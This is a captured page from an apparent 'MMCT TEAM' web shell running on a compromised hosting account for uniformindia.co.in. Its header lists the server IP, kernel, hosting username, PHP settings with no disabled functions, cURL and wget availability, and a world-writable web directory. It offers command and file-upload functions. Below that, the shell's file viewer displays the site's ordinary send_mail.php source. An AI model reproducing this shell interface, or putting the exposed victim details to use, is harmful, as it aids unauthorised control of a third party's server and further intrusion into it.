MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 216.73.216.81
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0777) :  /home/u641149403/domains/uniformindia.co.in/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/uniformindia.co.in/public_html/send_mail.php
<?php
include('connect.php');
$system_configs = $con->query("select * from `settings` where `variable`='system_timezone'");
$system_config=mysqli_fetch_assoc($system_configs);
$system_config = json_decode($system_config['value'],true);
$app_name = $system_config['app_name'];
$from_mail = $system_config['from_mail'];
$reply_to = $system_config['reply_to']; 


function send_email($to,$subject,$message){
	//send email
	$headers = "From: ".$GLOBALS['app_name']."<".$GLOBALS['from_mail'].">\n";
	$headers .= "Reply-To: ".$GLOBALS['reply_to']."\n";
	$headers .= "MIME-Version: 1.0\n";
	$headers .= "Content-Type: text/html; charset=ISO-8859-1\n";
	if(!mail($to,$subject,$message,$headers)){
		return false;
	}
	else{
		return true;
	}
}
?>

MMCT - 2023